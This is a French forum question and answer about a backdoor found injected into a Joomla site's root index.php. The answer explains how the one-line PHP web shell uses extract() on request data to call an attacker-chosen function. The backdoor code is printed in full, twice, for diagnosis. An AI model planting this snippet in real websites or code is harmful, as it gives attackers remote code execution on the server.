Hier soir, nous avons reçu une notification par e-mail de notre site Web nous informant de la modification du fichier Joomla principal.
Lors de l'inspection, j'ai trouvé ce code dans notre fichier root/index.php:
if (isset($_REQUEST["mjzM"])) {/*AlbqD*/@extract($_REQUEST);/*EYGfjEzF*/@die($mjzM($NAQGb));}
Quelqu'un pourrait-il expliquer ce que c'est s'il vous plaît et ce qu'il fait?
En regardant le code, cela n'a pas vraiment de sens en soi.
Regardons ce que nous avons actuellement:
if (isset($_REQUEST["mjzM"]))
{
@extract($_REQUEST);
@die($mjzM($NAQGb));
}
La ligne 1 vérifie si $_REQUEST["mjzM"]
est réglé. À présent $_REQUEST
ne devrait pas vraiment être utilisé car il contient le contenu de $_GET
, $_POST
et $_COOKIE
, il est donc possible qu'une extension tierce contenant un formulaire ait été compromise.
La ligne 2 extrait $_REQUEST
, qui est un tableau, mais le fait silencieusement en utilisant @
, ce qui signifie que s’il ya des erreurs lors de l’exécution de ce code, les erreurs ne s’affichent pas.
La ligne 3 termine l'exécution du script et affiche les résultats, là encore, en mode silencieux. $mjzM
et $NAQGb
sont peuplés de $_REQUEST
et pourrait être renseigné facilement à partir de l’URL (comme $_REQUEST
contient les données de $_GET
.
Lisez un peu plus sur le sujet ici:
https://blog.sucuri.net/2014/02/php-backdoors-hidden-with-clever-use-of-extract-function.html
N'oubliez pas que ce n'est peut-être pas le seul code malveillant qui a été injecté sur votre site. Il pourrait y en avoir et il est fort probable qu'il en existe d'autres.
Phil Taylor, un expert de Joomla et spécialiste de la sécurité Joomla, serait une personne formidable pour faire vérifier votre site:
Disclaimer: Je ne suis en aucun cas affilié à Phil Taylor. Je l'ai recommandé car il est fortement recommandé dans la communauté Joomla.